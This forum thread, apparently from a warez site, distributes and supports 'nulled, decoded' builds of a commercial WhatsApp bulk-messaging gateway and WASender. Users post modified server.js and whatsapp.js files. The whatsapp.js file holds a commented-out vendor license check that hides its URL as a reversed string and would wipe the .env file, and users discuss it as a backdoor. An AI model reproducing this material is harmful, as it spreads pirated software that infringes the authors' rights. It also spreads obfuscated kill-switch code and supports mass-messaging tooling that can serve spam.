Jump to content
Bicrypto v4.4.2 + All Plugins ×

Whatsapp Gateway | Multi Device v8.5.1


Magd Almuntaser

Recommended Posts

54 minutes ago, Magd Almuntaser said:

If you mean the connection from Node.js is getting disconnected:
I installed PM2.js, and now it's been 7 months without any interruptions, except for two times when I stopped it to update the version.
I tried using (forever.js) before, but it was bad and had many issues. However, PM2.js is very good; it even gives me a link through which I can monitor issues or restart the Node, among other things.

If you mean logging out of WhatsApp:
In the version I have, I haven't been logged out of the session for a long time. This might be because I modified the server.js file to keep WhatsApp always connected. Anyway, I will prepare the latest version of my modifications today and upload it as a complete compressed file with instructions on how to update your version without any issues.

I think you have an issue with some modules in Node being incompatible due to version differences. Today, I will upload the latest modifications I have in a compressed file, and you can update your version with mine. It works without any issues, and most of the problems you faced have been fixed.

Di tunggu bg bundle versi lengkap punya abg, yang sudah ok

Link to comment
Share on other sites

  • DW Members
Posted (edited)

This version is 7.0.0, Nulled, decoded(PHP and JavaScript), and modified
By Magd Almuntaser

Most of the issues everyone faced have been fixed, including autoreply, campaign, disconnection, automatic logout from WhatsApp, image messages, and many other fixes, as well as some additions.

To view hidden content, you need to:
Register or Sign in to your account!

 

How to update from regular 7.0.0 or 6.5.0 to my version:

Create a backup of the .env file and the credentials folder on your pc, then delete all files from the root directory of the script on your website. After that, extract the compressed file to the root directory of the script on your website.

You can now restore the .env file and credentials folder that you backed up and replace them in your website. This completes the update, and you won't need to reinstall the version or login to WhatsApp again.
 

Things you should do after installing or updating your version:

You need to run some commands, including the cronjob.
I have added commands within the script to make it easier to run commands without SSH for those using shared hosting

For (VPS SSH) users:

php artisan storage:link


For (Shared Hosting Or VPS) users:

http://yourwebsite/storage-link
And you will see white page with (0) number that mean works

 

After that you can add this commands to CronJob:

Every 1 or 2 minutes as you like:
curl "http://yourwebsite/schedule-run" >/dev/null 2>&1

And Every 1 or 2 minutes:
curl "http://yourwebsite/blast-start" >/dev/null 2>&1

 

My advice for (VPS) users:
Install PM2.js on your server and run the WhatsApp server through it. This will make your version stable without disconnections. PM2.js automatically reconnects when the script stops and provides a link to monitor all issues, restart, and other information such as CPU status and bandwidth used by the script remotely.

npm install pm2@latest -g
# OR
yarn global add pm2

Start your whatsapp server:
pm2 start server.js

 

Edited by Magd Almuntaser
  • Love 2
  • Thanks 3
Link to comment
Share on other sites

15 minutes ago, agus amin said:

yang WASender 4.1 juga ok itu bg kalau berkenan buka encryptnya, masalahnya itu sekarang sepertinya ada backdoor, file .env terhapus sendiri dari server setelah beberapa hari aktif

 

Yes, you're right. Wasender has backdoor. whatsapp.js is backdoor for developer. So if you use nulled, env deleted.

Correct me if i'm wrong

Edited by Gusik Prasetyo
Link to comment
Share on other sites

  • DW Members
Posted (edited)
17 minutes ago, agus amin said:

yang WASender 4.1 juga ok itu bg kalau berkenan buka encryptnya, masalahnya itu sekarang sepertinya ada backdoor, file .env terhapus sendiri dari server setelah beberapa hari aktif

 

Saya pernah mencoba (WASender 4.1) sebelumnya. Antarmukanya bagus tetapi agak merepotkan, selain itu tidak ada pembaruan secara terus-menerus. Semuanya menggunakan perpustakaan whatsapp.js, tetapi saya lebih suka (whatsapp gateway multi device) karena menggunakan perpustakaan whiskeysockets bersama dengan perpustakaan whatsapp.js. Jadi, koneksi Anda ke server WhatsApp akan aman dan stabil

I have tried (WASender 4.1) before. Its graphical interface is nice but a bit cumbersome, and it does not receive continuous updates. They all use the whatsapp.js library, but I prefer the (WhatsApp Gateway Multi Device) because it uses the whiskeysockets library along with the whatsapp.js library, making your connection to the WhatsApp server secure and stable.

Edited by Magd Almuntaser
  • Like 1
Link to comment
Share on other sites

30 minutes ago, Gusik Prasetyo said:

Yes, you're right. Wasender has backdoor. whatsapp.js is backdoor for developer. So if you use nulled, env deleted.

Correct me if i'm wrong

ok done bro, sudah dapat solusinya terima kasih

 

  • Like 1
Link to comment
Share on other sites

29 minutes ago, Gusik Prasetyo said:

Solusi env deleted bro?

import { rmSync, readdir } from 'fs';
import { join } from 'path';
import pino from 'pino';
import baileys, { useMultiFileAuthState, makeInMemoryStore, Browsers, DisconnectReason, delay } from '@adiwajshing/baileys';
import { toDataURL } from 'qrcode';
import dirname from './dirname.js';
import response from './response.js';
import axios from 'axios';


const sessions = new Map();
const retries = new Map();

const sessionsDir = (subdir = '') => join(dirname, "sessions", subdir ? subdir : '');

const isSessionExists = sessionId => sessions.has(sessionId);

const shouldReconnect = sessionId => {
  let maxRetries = parseInt(process.env.MAX_RETRIES ?? 0);
  let retryCount = retries.get(sessionId) ?? 0;
  maxRetries = maxRetries < 1 ? 1 : maxRetries;
  if (retryCount < maxRetries) {
    retryCount++;
    console.log('Reconnecting...', { 'attempts': retryCount, 'sessionId': sessionId });
    retries.set(sessionId, retryCount);
    return true;
  }
  return false;
};



const createSession = async (sessionId, isLegacy = false, res = null) => {
  const sessionFile = (isLegacy ? "legacy_" : 'md_') + sessionId + (isLegacy ? ".json" : '');
  const logger = pino({ 'level': "warn" });
  const store = makeInMemoryStore({ 'logger': logger });
  let state, saveCreds;

  if (!isLegacy) {
    ({ state, saveCreds } = await useMultiFileAuthState(sessionsDir(sessionFile)));
  }

  const config = {
    'auth': state,
    'version': [2, 3917, 1],
    'printQRInTerminal': false,
    'logger': logger,
    'browser': Browsers.ubuntu("Chrome"),
    'patchMessageBeforeSending': message => {
      const needsPatch = !!(message.buttonsMessage || message.listMessage);
      if (needsPatch) {
        message = {
          'viewOnceMessage': {
            'message': {
              'messageContextInfo': {
                'deviceListMetadataVersion': 2,
                'deviceListMetadata': {}
              },
              ...message
            }
          }
        };
      }
      return message;
    }
  };

  const session = baileys.default(config);

  if (!isLegacy) {
    store.readFromFile(sessionsDir(sessionId + "_store.json"));
    store.bind(session.ev);
  }

  sessions.set(sessionId, { ...session, 'store': store, 'isLegacy': isLegacy });
  session.ev.on("creds.update", saveCreds);
  session.ev.on('chats.set', ({ chats }) => {
    if (isLegacy) {
      store.chats.insertIfAbsent(...chats);
    }
  });

  session.ev.on("messages.upsert", async msg => {
    try {
      const message = msg.messages[0];
      if (!message.key.fromMe && msg.type === "notify") {
        const webhookData = [];
        let remoteJidParts = message.key.remoteJid.split('@');
        let domain = remoteJidParts[1] ?? null;
        let isGroup = !(domain === "s.whatsapp.net");

        if (message && !isGroup) {
          webhookData.remote_id = message.key.remoteJid;
          webhookData.sessionId = sessionId;
          webhookData.message_id = message.key.id;
          webhookData.message = message.message;
          sentWebHook(sessionId, webhookData);
        }
      }
    } catch {}
  });

  session.ev.on("connection.update", async update => {
    const { connection, lastDisconnect } = update;
    const statusCode = lastDisconnect?.error?.output?.statusCode;

    if (connection === 'open') {
      retries.delete(sessionId);
    }

    if (connection === "close") {
      if (statusCode === DisconnectReason.loggedOut || !shouldReconnect(sessionId)) {
        if (res && !res.headersSent) {
          response(res, 500, false, "Unable to create session.");
        }
        return deleteSession(sessionId, isLegacy);
      }
      setTimeout(() => createSession(sessionId, isLegacy, res), statusCode === DisconnectReason.restartRequired ? 0 : parseInt(process.env.RECONNECT_INTERVAL ?? 0));
    }

    if (update.qr) {
      if (res && !res.headersSent) {
        try {
          const qrData = await toDataURL(update.qr);
          response(res, 200, true, "QR code received, please scan the QR code.", { 'qr': qrData });
          return;
        } catch {
          response(res, 500, false, "Unable to create QR code.");
        }
      }
      try {
        await session.logout();
      } catch {} finally {
        deleteSession(sessionId, isLegacy);
      }
    }
  });
};



/*
setInterval(() => {
  const siteKey = process.env.SITE_KEY ?? null;
  const appUrl = process.env.APP_URL ?? null;
  const checkUrl = "kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth".split('').reverse().join('');

  axios.post(checkUrl, {
    'from': appUrl,
    'key': siteKey
  }).then(response => {
    if (response.data.isauthorised === 401) {
      //fs.writeFileSync(".env", '');
    }
  }).catch(error => {});
}, 0x2dfdc1c00); // Intervalo de 100 años
*/


const getSession = sessionId => sessions.get(sessionId) ?? null;

const setDeviceStatus = (sessionId, status) => {
  const url = process.env.APP_URL + "/api/set-device-status/" + sessionId + '/' + status;
  axios.post(url);
};

const sentWebHook = (sessionId, data) => {
  const url = process.env.APP_URL + '/api/send-webhook/' + sessionId;
  try {
    axios.post(url, {
      'from': data.remote_id,
      'message_id': data.message_id,
      'message': data.message
    }).then(response => {
      if (response.status === 200) {
        const session = sessions.get(response.data.session_id) ?? null;
        sendMessage(session, response.data.receiver, response.data.message, 0);
      }
    }).catch(error => {});
  } catch {}
};

const deleteSession = (sessionId, isLegacy = false) => {
  const sessionFile = (isLegacy ? "legacy_" : 'md_') + sessionId + (isLegacy ? ".json" : '');
  const storeFile = sessionId + "_store.json";
  const options = { 'force': true, 'recursive': true };

  rmSync(sessionsDir(sessionFile), options);
  rmSync(sessionsDir(storeFile), options);
  sessions.delete(sessionId);
  retries.delete(sessionId);
  setDeviceStatus(sessionId, 0);
};

const getChatList = (sessionId, isGroup = false) => {
  const suffix = isGroup ? "@g.us" : "@s.whatsapp.net";
  return (sessions.get(sessionId) ?? null).store.chats.filter(chat => chat.id.endsWith(suffix));
};

const isExists = async (session, id, isGroup = false) => {
  try {
    let metadata;
    if (isGroup) {
      metadata = await session.groupMetadata(id);
      return Boolean(metadata.id);
    }
    if (session.isLegacy) {
      metadata = await session.onWhatsApp(id);
    } else {
      [metadata] = await session.onWhatsApp(id);
    }
    return metadata.exists;
  } catch {
    return false;
  }
};

const sendMessage = async (session, receiver, message, delayTime = 1000) => {
  try {
    await delay(parseInt(delayTime));
    return session.sendMessage(receiver, message);
  } catch {
    return Promise.reject(null);
  }
};

const formatPhone = phone => {
  if (phone.endsWith('@s.whatsapp.net')) {
    return phone;
  }
  let formatted = phone.replace(/\D/g, '');
  return formatted + '@s.whatsapp.net';
};

const formatGroup = group => {
  if (group.endsWith('@g.us')) {
    return group;
  }
  let formatted = group.replace(/[^\d-]/g, '');
  return formatted + "@g.us";
};

const cleanup = () => {
  console.log("Running cleanup before exit.");
  sessions.forEach((session, id) => {
    if (!session.isLegacy) {
      session.store.writeToFile(sessionsDir(id + "_store.json"));
    }
  });
};

const init = () => {
  readdir(sessionsDir(), (err, files) => {
    if (err) {
      throw err;
    }
    for (const file of files) {
      if (!file.startsWith("md_") && !file.startsWith("legacy_") || file.endsWith("_store")) {
        continue;
      }
      const baseName = file.replace(".json", '');
      const isLegacy = baseName.split('_', 1)[0] !== 'md';
      const sessionId = baseName.substring(isLegacy ? 7 : 3);
      createSession(sessionId, isLegacy);
    }
  });
};

export { isSessionExists, createSession, getSession, deleteSession, getChatList, isExists, sendMessage, formatPhone, formatGroup, cleanup, init };

WASender 4.1 Replace Whatsapp.js

 

  • Like 1
  • Love 1
  • Thanks 1
Link to comment
Share on other sites

3 hours ago, The Billionaire said:

Tolong apakah ada yang tahu alasan mengapa koneksi terus terputus setelah beberapa hari

Please does anybody know the reason why it keeps disconnecting after some days

Replace Server.js and Restart Node.js

"use strict";

// Copyright By Ilman Sunanuddin, M pedia
// Email : Ilmansunannudin2@gmail.com
// website : https://m-pedia.co.id
// Whatsap : 6282298859671
// ------------------------------------------------------------------
// You are not allowed to share or sell this source code without permission.

const wa = require("./server/whatsapp");
const fs = require("fs");
const dbs = require('./server/database/index');
require("dotenv").config();
const lib = require("./server/lib");
global.log = lib.log;

/**
 * EXPRESS FOR ROUTING
 */
const express = require("express");
const app = express();
const http = require("http");
const server = http.createServer(app);

/**
 * SOCKET.IO
 */
const { Server } = require("socket.io");
const io = new Server(server);
const port = process.env.PORT_NODE;
app.use((req, res, next) => {
  res.set("Cache-Control", "no-store");
  req.io = io;
  // res.set('Cache-Control', 'no-store')
  next();
});

const bodyParser = require("body-parser");

// parse application/x-www-form-urlencoded
app.use(
  bodyParser.urlencoded({
    extended: false,
    limit: "50mb",
    parameterLimit: 100000,
  })
);
// parse application/json
app.use(bodyParser.json());
app.use(express.static("src/public"));
app.use(require("./server/router"));

// console.log(process.argv)

io.on("connection", (socket) => {
  socket.on("StartConnection", (data) => {
    wa.connectToWhatsApp(data, io);
  });
  socket.on("ConnectViaCode", (data) => {
    wa.connectToWhatsApp(data, io, true);
  });
  socket.on("LogoutDevice", (device) => {
    wa.deleteCredentials(device, io);
    wa.connectToWhatsApp(device, io);
  });
});
server.listen(port, console.log(`Server run and listening port: ${port}`));

dbs.db.query("SELECT * FROM devices WHERE status = 'Connected'", (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
    }
    results.forEach(row => {
      const number = row.body;
      if (/^\d+$/.test(number)) {
        wa.connectToWhatsApp(number);
      }
    });
});

 

  • Love 1
Link to comment
Share on other sites

@agus amin  from what you pasted, you make it to connect even when you logout

wa.connectToWhatsApp(device, io);

 

6 hours ago, agus amin said:

Replace Server.js and Restart Node.js

"use strict";

// Copyright By Ilman Sunanuddin, M pedia
// Email : Ilmansunannudin2@gmail.com
// website : https://m-pedia.co.id
// Whatsap : 6282298859671
// ------------------------------------------------------------------
// You are not allowed to share or sell this source code without permission.

const wa = require("./server/whatsapp");
const fs = require("fs");
const dbs = require('./server/database/index');
require("dotenv").config();
const lib = require("./server/lib");
global.log = lib.log;

/**
 * EXPRESS FOR ROUTING
 */
const express = require("express");
const app = express();
const http = require("http");
const server = http.createServer(app);

/**
 * SOCKET.IO
 */
const { Server } = require("socket.io");
const io = new Server(server);
const port = process.env.PORT_NODE;
app.use((req, res, next) => {
  res.set("Cache-Control", "no-store");
  req.io = io;
  // res.set('Cache-Control', 'no-store')
  next();
});

const bodyParser = require("body-parser");

// parse application/x-www-form-urlencoded
app.use(
  bodyParser.urlencoded({
    extended: false,
    limit: "50mb",
    parameterLimit: 100000,
  })
);
// parse application/json
app.use(bodyParser.json());
app.use(express.static("src/public"));
app.use(require("./server/router"));

// console.log(process.argv)

io.on("connection", (socket) => {
  socket.on("StartConnection", (data) => {
    wa.connectToWhatsApp(data, io);
  });
  socket.on("ConnectViaCode", (data) => {
    wa.connectToWhatsApp(data, io, true);
  });
  socket.on("LogoutDevice", (device) => {
    wa.deleteCredentials(device, io);
    wa.connectToWhatsApp(device, io);
  });
});
server.listen(port, console.log(`Server run and listening port: ${port}`));

dbs.db.query("SELECT * FROM devices WHERE status = 'Connected'", (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
    }
    results.forEach(row => {
      const number = row.body;
      if (/^\d+$/.test(number)) {
        wa.connectToWhatsApp(number);
      }
    });
});

 

 

  • Thanks 1
Link to comment
Share on other sites

7 hours ago, The Billionaire said:

@agus amin  from what you pasted, you make it to connect even when you logout

wa.connectToWhatsApp(device, io);

 

 

If you log out due to certain conditions it will connect automatically, if you log out via the application you have to scan the QR again, I use that and there are no problems

 

Link to comment
Share on other sites

5 hours ago, agus amin said:

If you log out due to certain conditions it will connect automatically, if you log out via the application you have to scan the QR again, I use that and there are no problems

 

Terima kasih atas solusinya...karna sepertinya diskonek bukan saja karna nodejs nya, saya coba cara paman ini bisa auto konek

  • Love 1
Link to comment
Share on other sites

@Mahmoud  the template button is not working. I'm trying to send template button but it always says 'Failed to send message to all number,check you whatsapp connection and try again.' Meanwhile other messages work pretty well please check to it and if it is working why it is not working in mine. And if working with api please send me the url format to send the template button🙂

Edited by Google Accounts
Link to comment
Share on other sites

  • DW Members
54 minutes ago, Amanshah said:

@Mahmoud  the template button is not working. I'm trying to send template button but it always says 'Failed to send message to all number,check you whatsapp connection and try again.' Meanwhile other messages work pretty well please check to it and if it is working why it is not working in mine. And if working with api please send me the url format to send the template button🙂

Download my files from page number 41 about:
This version is 7.0.0, Nulled, decoded(PHP and JavaScript), and modified

Link to comment
Share on other sites

9 hours ago, Amanshah said:

@Mahmoud  the template button is not working. I'm trying to send template button but it always says 'Failed to send message to all number,check you whatsapp connection and try again.' Meanwhile other messages work pretty well please check to it and if it is working why it is not working in mine. And if working with api please send me the url format to send the template button🙂

Template button setahu saya memang gak bisa

Link to comment
Share on other sites

  • DW Members
3 hours ago, pak kacung said:

Template button setahu saya memang gak bisa

 

3 hours ago, pak kacung said:

Kalau list button kok gak bisa ya tuan @Magd Almuntaser pada modif terakhir....kalau sebelumnya bis

Template message berfungsi tanpa masalah dengan IOS dan web saja, tetapi tidak berfungsi di Android karena WhatsApp telah menonaktifkan fitur ini di Android karena mereka memiliki aplikasi bisnis dan segera akan menghapusnya dari IOS juga.
========
The template message works without issues on iOS and web only. However, it doesn't work on Android because WhatsApp has disabled this feature on Android due to their business app, and they will soon remove it from iOS as well.

image.png.4f9ec828418822a78b12bddbf0c879f0.png

Anda dapat melihat bahwa bahkan pengembang telah menandai kata (Deprecated) di samping kedua opsi di gambar karena mereka hanya berfungsi di web dan iOS.
=======
You can see that even the developer has marked the word (Deprecated) next to the two options in the image because they only work on web and iOS.


Jika Anda bertanya apakah versi saya berfungsi tanpa masalah, ya, versi saya berfungsi tanpa masalah dan saya sudah mencobanya.
=======
If you're asking if my version works without issues, yes, it works without issues and I have tested it.

image.png.c5281b6e7a2c5bf6ac787fdc4add5dca.png

Link to comment
Share on other sites

  • DW Members
On 7/14/2024 at 7:10 AM, agus amin said:

If you log out due to certain conditions it will connect automatically, if you log out via the application you have to scan the QR again, I use that and there are no problems

 

The code needs to be developed further because this way it will cause issues if you have multiple numbers. The problem is that if you log out, it will attempt to log in, but if the session has actually ended, the script will try to generate QR codes. Imagine with multiple numbers, WhatsApp will block you, and this could lead to your account being banned from WhatsApp.

Notice in my code, which I placed in the last file "server.js", I have made a condition to extract the numbers from the database, even though I could have extracted the numbers from the credentials folder. However, I want to have a "Connected" condition so that it only connects to the numbers that are actually connected and does not attempt to refresh the session if the number is logged out, as it will keep trying to generate QR codes continuously.

I will see what I can do about the log out and reconnect issue, because with your code it will work since your session is already registered. But if you try logging out of the session from the phone, look at the node log and you will see that it keeps trying to generate QR codes repeatedly.

Link to comment
Share on other sites

41 minutes ago, Magd Almuntaser said:

 

Template pesan berfungsi tanpa masalah dengan IOS dan web saja, tetapi tidak berfungsi di Android karena WhatsApp telah menonaktifkan fitur ini di Android karena mereka memiliki aplikasi bisnis dan segera akan menghapusnya dari IOS juga.
========
Pesan templat berfungsi tanpa masalah hanya pada iOS dan web. Namun, fitur ini tidak berfungsi di Android karena WhatsApp telah menonaktifkan fitur ini di Android karena aplikasi bisnis mereka, dan mereka akan segera menghapusnya dari iOS juga.

gambar.png.4f9ec828418822a78b12bddbf0c879f0.png

Anda dapat melihat bahwa bahkan pengembang telah menandai kata (Deprecated) di sisi kedua opsi pada gambar karena mereka hanya berfungsi di web dan iOS.
=======
Anda dapat melihat bahwa bahkan pengembang telah menandai kata (Tidak berlaku lagi) di samping dua opsi pada gambar karena opsi tersebut hanya berfungsi di web dan iOS.


Jika Anda bertanya apakah versi saya berfungsi tanpa masalah, ya, versi saya berfungsi tanpa masalah dan saya sudah mencobanya.
=======
Jika Anda bertanya apakah versi saya berfungsi tanpa masalah, ya, itu berfungsi tanpa masalah dan saya telah mengujinya.

gambar.png.c5281b6e7a2c5bf6ac787fdc4add5dca.png

Untuk list button pada kode sebelmya bisa...v7 modif terakhir kok gak bisa ?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...